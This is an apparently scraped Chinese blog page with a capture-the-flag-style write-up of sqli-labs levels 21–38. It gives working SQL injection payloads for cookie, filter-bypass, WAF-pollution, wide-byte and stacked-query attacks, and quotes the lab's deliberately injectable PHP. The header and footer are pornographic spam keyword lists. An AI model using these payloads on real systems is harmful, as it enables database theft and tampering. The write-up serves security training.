日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sqli-lab——Writeup21~38(各种过滤绕过WAF和)

發布時間:2025/3/8 编程问答 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqli-lab——Writeup21~38(各种过滤绕过WAF和) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Less-21 Cookie Injection- Error Based- complex - string ( 基于錯誤的復雜的字符型Cookie注入)

base64編碼,單引號,報錯型,cookie型注入。

本關和less-20相似,只是cookie的uname值經過base64編碼了。

登錄后頁面:
mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70)
cookie的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字符串,

查看php文件確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。

抓包:


%3d為url編碼的 = 號

測試payloa:

admin' and 1=1 --+ //明文 YWRtaW4nIGFuZCAxPTEgLS0r //密文

存在報錯回顯,即注入點

爆數據庫:

-admin') union select 1,2,database()# //明文 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文

剩下和less20 相同

less22(base64編碼,雙引號,報錯型,cookie型注入。)

單引號換雙引號
其余操作相同

-admin" union select 1,2,database()# LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

less23(過濾注釋)

源碼:

可看到源碼過濾了注釋符:
構造閉合型語句:

爆庫:
?id=' union select 1,2,database() '
爆表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆字段值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

less24(二次注入)

注冊一個賬號名為:admin’#,密碼設為admin
登陸選擇重置密碼
重置密碼為:123456
此時執行語句為:

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

但因為admin’# 的閉合和注釋
實際執行為:

UPDATE users SET passwd="New_Pass" WHERE username =' admin'


即通過帶有特殊字符的語句在修改密碼的語句當中把語句變成了修改目標賬號的密碼

注入完成

less25Trick with OR & AND (過濾了or和and)

雙寫繞過:

?id=0' oorr 1=1 --+ ?id=2' aandnd 1=1 --+

less 26過濾了注釋和空格的注入

查源碼:

if(isset($_GET['id'])) {$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; } }else { echo "Please input the ID as parameter with numeric value";}function blacklist($id) {$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id; }

過濾了 or,and , /* , – , # , 空格 , /

空格替代:

%09 TAB鍵(水平) %0a 新建一行 %0c 新的一頁 %0d return功能 %0b TAB鍵(垂直)

這道題還可以使用盲注實現

0'||left(database(),1)='s'%26%26'1'='1

同樣報錯注入也可以實現

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要將空格和and繞過 那么實現就簡單了
or和and 很好過濾,注釋過濾了就使用永真閉合

less26a過濾了空格和注釋的盲注

和上一題區別不大
通過檢測 0’||‘1’=‘1 判斷是’
也可以通過fuzz去查看 發現 ') ") 無報錯
使用盲注ok

0’||left(database(),1)>‘s’%26%26’1’='1

嘗試繞過,這兩個都可以繞過
0’)%a0union%a0select%a01,2,3||(‘1
0’)%a0union%a0select%a01,2,3;%00
雖然這道題說是盲注,但是通過閉合 也可以直接爆出結果。

less27(過濾了注釋和空格的注入)

做了這么多了,下來就不說如何拿到數據了,重點在于如何繞過,只要能夠找到注入點,剩下的可以利用sqlmap 等等工具直接利用,畢竟在滲透中,沒有那么多的時間讓我們去消耗

過濾了union和select
繞過方式:雙寫 大小寫
0’%0aUnioN%0aSeleCT%0a1,2,3;%00
0’%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0’1

這里說明一下,冒號可以做閉合用, %00用來截斷 這樣和注釋有相同的含義,這下繞過就多了:注釋,分號閉合,冒號%00截斷

Less-27a 過濾了union和select

方法1:
和上一題一樣,但是把單引號換成了雙引號
替換上一題的payload即可繞過

方法2:
爆數據庫:
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),“3
爆表名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security’%a0%26%26%a0"1"%a0=“1
查字段名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security’%a0And%a0table_name=‘users’%26%26%a0"1"%a0=“1
查數據:
http://10.10.10.141/sql/Less-27a/?id=-1”%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,“3”="3

less28過濾了union和select大小寫

沒有報錯 盲注
過濾了大小寫
但是可以整體雙寫

less28a濾了union和select大小寫

過濾大小寫,但是過濾不嚴格
類似于28 這里可以使用注釋

0')%A0UnIoN%A0SeLeCt(1),version(),database() --+

less29 獲取-基于錯誤的缺乏證據的不匹配-在web應用程序前面有一個WAF。

大佬的解釋:
http://blog.csdn.net/nzjdsds/article/details/77758824

waf是只允許輸入數字的,我們在輸入數字的時候先給waf看然后檢測正常后才轉發給我們需要訪問的頁面,這里我弄2個值,一個是用來欺騙waf的。另一個才是給我們需要訪問頁面的

注入:

?id=1&id=-1' union select 1,2,database() --+

less30有waf的盲注

參考less29

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Less-31 Protection with WAF 有waf防護

?id=1&id=-1")union select 1,2,database() --+

less32:bypass Addslashes()

繞過 addslashes()

寬字節繞過引號轉義

addslashes()會在單引號前加一個\ 例如:I’m hacker 傳入addslashes(),得到:I’m hacker

本題想以此阻止sql注入語句閉合,但是可以使用寬字節繞過:

原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6’ 這樣的構造時,’ 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫。

樣例payload

?id=-1%E6' union select 1,version(),database() --+

我在爆列名的時候卡了一下,分析半天語句最后想起來了, ‘users’ 這里有單引號。

使用十六進制編碼就可以繞過了’'使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273

?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

接下來的步驟比較簡單,不再贅述。

注入完成。

less33:Bypass Add SLASHES

和33一模一樣

less34:Bypass Add SLASHES

繞過添加斜杠

和上一關差別不大,使用post請求
一樣的寬字節注入,并且在uname和passwd處都存在注入
post方式,抓包提交。

樣例payload

uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit

爆列名的時候要注意’users’的轉義。

注入結束。

less35 GET-Bypass添加斜杠

為什么要關心addslashes()

測試payload:

?id=1’

id周圍沒有單引號或雙引號,現在就明白題目的標題了,不需要要過,直接注入,無比簡單,不再贅述。

樣例payload

?id=-1 union select 1,version(),database()–+

Less-36 寬字節注入GET-Bypass MySQLreal escape_string

先來看看這個函數
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

\x00 \n \r \ ' " \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
而這個函數可以通過以下語句繞過
aaa’ OR 1=1 –

0%df’ union select 1,2,database() --+

Less-37寬字節注入

到了后面,主要講思路,語句基本都會了
這里是post方式,我們抓包 添加語句到uname或者passwd中,同樣是添加’%df報錯,查詢 --+做注釋

uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit

成功繞過

Less-38 層次化查詢

可以直接正常注入
主要看下這個函數
mysqli_more_results() 檢查一個多重查詢語句中是否有更多結果

堆疊注入,也就是可以執行多條sql語句

/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

總結

以上是生活随笔為你收集整理的sqli-lab——Writeup21~38(各种过滤绕过WAF和)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 黑人粗进入欧美aaaaa | se婷婷| 免费av成人 | 亚洲免费区 | 日本一级淫片免费放 | 91资源在线观看 | 一区二区三区国 | 91香蕉在线视频 | 在线观看深夜视频 | www日本视频| 中文字幕第2页 | 久久视频在线播放 | 三级色网站 | 精品乱码一区二区三四区视频 | 天堂中文在线最新 | 91高跟黑色丝袜呻吟动态图 | av性色 | 法国空姐电影在线观看 | 毛片国产| 99热热久久 | 一边顶弄一边接吻 | 色一情一区二区三区四区 | 亚洲精品在线视频 | 精品无码国产一区二区三区51安 | 神马午夜888| 一级黄色录相 | 99热在线免费观看 | 波多野结衣a级片 | 99精品一区二区三区无码吞精 | 日韩激情成人 | 日韩资源站| 国产视频www| 国产专区在线视频 | 色av中文字幕 | 中文字幕一区二区三区av | 亚洲激情影院 | 日韩大片一区二区 | 国产一区二区播放 | 欧美草草| 波多野结衣午夜 | 激情亚洲| 亚洲av无码久久忘忧草 | 热99在线观看 | 久草毛片 | 国产尻逼视频 | 国产三级不卡 | av剧情在线 | 爽爽免费视频 | 青青草在线免费观看 | 日韩色在线 | 成人免费视频国产 | 亚洲人掀裙打屁股网站 | 免费的毛片 | 亚洲不卡免费视频 | 少妇aa | 免费av软件 | 欧美 日韩 中文 | 日本欧美中文字幕 | 综合精品在线 | 蛇女欲潮性三级 | 国产一级黄色录像 | 高清视频一区二区 | 亚洲理论在线 | 久久国产色av| 国产超碰精品 | 欧美 丝袜 自拍 制服 另类 | 亚洲综合在线播放 | 老汉色老汉首页av亚洲 | 免费无码国产v片在线观看 三级全黄做爰在线观看 | 亚洲AV不卡无码一区二区三区 | 黑白配在线观看免费观看 | 精品视频在线免费 | 后入内射欧美99二区视频 | 香蕉久久久 | 亚洲精品久久久久久久蜜桃 | 国产精品毛片一区二区在线看舒淇 | 91激情网| 国产成人无码性教育视频 | 极品美女无套呻吟啪啪 | 五月天色站 | 91一区二区国产 | 在线观看视频中文字幕 | 四虎5151久久欧美毛片 | 国产欧美精品国产国产专区 | 永久久久久久 | 禁欲天堂 | av在线高清观看 | 都市激情亚洲一区 | 亚洲国产欧美在线 | www成人啪啪18软件 | 亚洲欧美日韩电影 | 樱空桃在线 | 亚洲啪啪免费视频 | 在线观看免费视频国产 | 久久久无码18禁高潮喷水 | 亚洲aⅴ乱码精品成人区 | 国产激情图片 | 不卡中文一二三区 | 污网站免费看 |